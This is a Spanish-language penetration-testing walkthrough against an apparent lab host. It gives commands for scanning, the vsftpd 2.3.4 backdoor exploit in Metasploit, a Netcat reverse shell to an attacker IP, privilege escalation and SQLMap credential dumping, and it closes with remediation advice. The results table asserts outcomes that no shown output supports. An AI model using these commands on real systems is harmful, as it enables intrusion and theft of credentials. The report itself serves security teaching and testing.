INFORME DETALLADO DE PRUEBAS DE PENETRACIÓN

1. Introducción

Este informe documenta un ejercicio de pruebas de penetración sobre la máquina con IP **10.0.2.15**, utilizando herramientas como **Nmap, Exploit Database, Metasploit, Netcat y SQLMap**.

Las fases clave son:

1. **Exploración y Reconocimiento** (Nmap, Exploit Database).
2. **Explotación de Vulnerabilidades** (Metasploit, Netcat).
3. **Escalación de Privilegios**.
4. **Ataques a Bases de Datos** (SQLMap).

---

2. Información del Objetivo

- **IP objetivo:** 10.0.2.15
- **Sistema Operativo:** Linux (posiblemente Ubuntu o Debian)
- **Servicios detectados:** FTP, SSH, HTTP, MySQL
- **Posibles vulnerabilidades:** FTP vsftpd 2.3.4, inyección SQL en una aplicación web

---

3. Paso 1: Exploración y Reconocimiento

3.1 Escaneo de Puertos con Nmap

Se ejecuta un escaneo detallado con **Nmap** para identificar puertos abiertos y versiones de servicios:

```
bash
CopiarEditar
nmap -sV -A -Pn 10.0.2.15
```

Resultado relevante:

```
swift
CopiarEditar
21/tcp   open  ftp     vsftpd 2.3.4
22/tcp   open  ssh     OpenSSH 5.3 (protocol 2.0)
80/tcp   open  http    Apache 2.4.7
3306/tcp open  mysql   MySQL 5.5.62
```

Análisis:

- **FTP (vsftpd 2.3.4)**: Versión vulnerable.
- **HTTP (Apache 2.4.7)**: Puede tener una aplicación web con vulnerabilidades.
- **MySQL (5.5.62)**: Puede ser susceptible a inyecciones SQL.

---

4. Paso 2: Identificación de Vulnerabilidades con Exploit Database

Utilizamos **Exploit Database** para buscar exploits conocidos de vsftpd:

```
bash
CopiarEditar
searchsploit vsftpd 2.3.4
```

Resultado:

```
bash
CopiarEditar
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.rb
```

Conclusión: Se confirma que el servicio FTP es explotable mediante una puerta trasera.

---

5. Paso 3: Explotación de Vulnerabilidades

5.1 Explotación de FTP con Metasploit

Ejecutamos **Metasploit** para explotar la vulnerabilidad:

```
bash
CopiarEditar
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST 10.0.2.15
run
```

Si tiene éxito, se obtiene una shell en la máquina víctima.

---

6. Paso 4: Uso de Netcat para Conexión Remota

Si Metasploit falla, probamos con **Netcat** creando una **shell reversa**:

1. En la máquina atacante, ejecutamos:

   ```
   bash
   CopiarEditar
   nc -lvnp 4444
   ```

2. En la máquina víctima (si tenemos acceso a un servicio que permita ejecutar comandos):

   ```
   bash
   CopiarEditar
   nc 10.0.2.10 4444 -e /bin/bash
   ```

Esto establecerá una sesión interactiva con el sistema.

---

7. Paso 5: Escalación de Privilegios

Si la shell obtenida tiene permisos limitados, se intenta una escalación con **Metasploit**:

```
bash
CopiarEditar
use exploit/unix/local/setuid_nmap
set SESSION 1  # (Reemplazar '1' con el ID de sesión real)
run
```

Si se ejecuta con éxito, obtenemos acceso **root**.

---

8. Paso 6: Ataque a Bases de Datos con SQLMap

Si el escaneo inicial reveló un servidor web en http://10.0.2.15, intentamos detectar vulnerabilidades SQL en formularios o parámetros de URL.

8.1 Identificación de Parámetros Vulnerables

Usamos **SQLMap** para probar inyección SQL:

```
bash
CopiarEditar
sqlmap -u "http://10.0.2.15/login.php?id=1" --dbs
```

Si el sitio es vulnerable, SQLMap revelará las bases de datos disponibles.

8.2 Enumeración de Tablas y Usuarios

```
bash
CopiarEditar
sqlmap -u "http://10.0.2.15/login.php?id=1" -D database_name --tables
sqlmap -u "http://10.0.2.15/login.php?id=1" -D database_name -T users
--columns
sqlmap -u "http://10.0.2.15/login.php?id=1" -D database_name -T users
-C username,password --dump
```

Esto extraerá **usuarios y contraseñas** de la base de datos.

---

9. Análisis de Resultados

Fase	Herramienta	Resultado
Escaneo de puertos	Nmap	FTP, HTTP, MySQL detectados
Identificación de exploits	Exploit Database	vsftpd 2.3.4 vulnerable
Explotación de FTP	Metasploit	Shell obtenida
Conexión remota	Netcat	Shell reversa establecida
Escalación de privilegios	Metasploit	Acceso root
Ataque SQL	SQLMap	Base de datos comprometida

---

10. Medidas de Seguridad Recomendadas

Actualizar software y servicios: Parchear **vsftpd, Apache y MySQL** para evitar exploits conocidos.
Configurar firewall: Bloquear accesos no autorizados a puertos sensibles (21, 3306).
Deshabilitar servicios innecesarios: Si FTP no es usado, debe deshabilitarse.
Aplicar reglas de seguridad en MySQL: Restringir accesos remotos y usar contraseñas seguras.
Proteger la web contra inyección SQL: Usar consultas preparadas en lugar de SQL dinámico.

---

11. Conclusión

Este informe demuestra cómo un atacante puede:

1. **Escanear una red** en busca de servicios vulnerables con **Nmap**.
2. **Identificar exploits conocidos** con **Exploit Database**.
3. **Explotar vulnerabilidades** usando **Metasploit y Netcat**.
4. **Escalar privilegios** para obtener control total del sistema.
5. **Extraer datos sensibles** de bases de datos con **SQLMap**.

La seguridad proactiva es clave para prevenir estos ataques. **Aplicar parches y reforzar configuraciones** son las mejores defensas.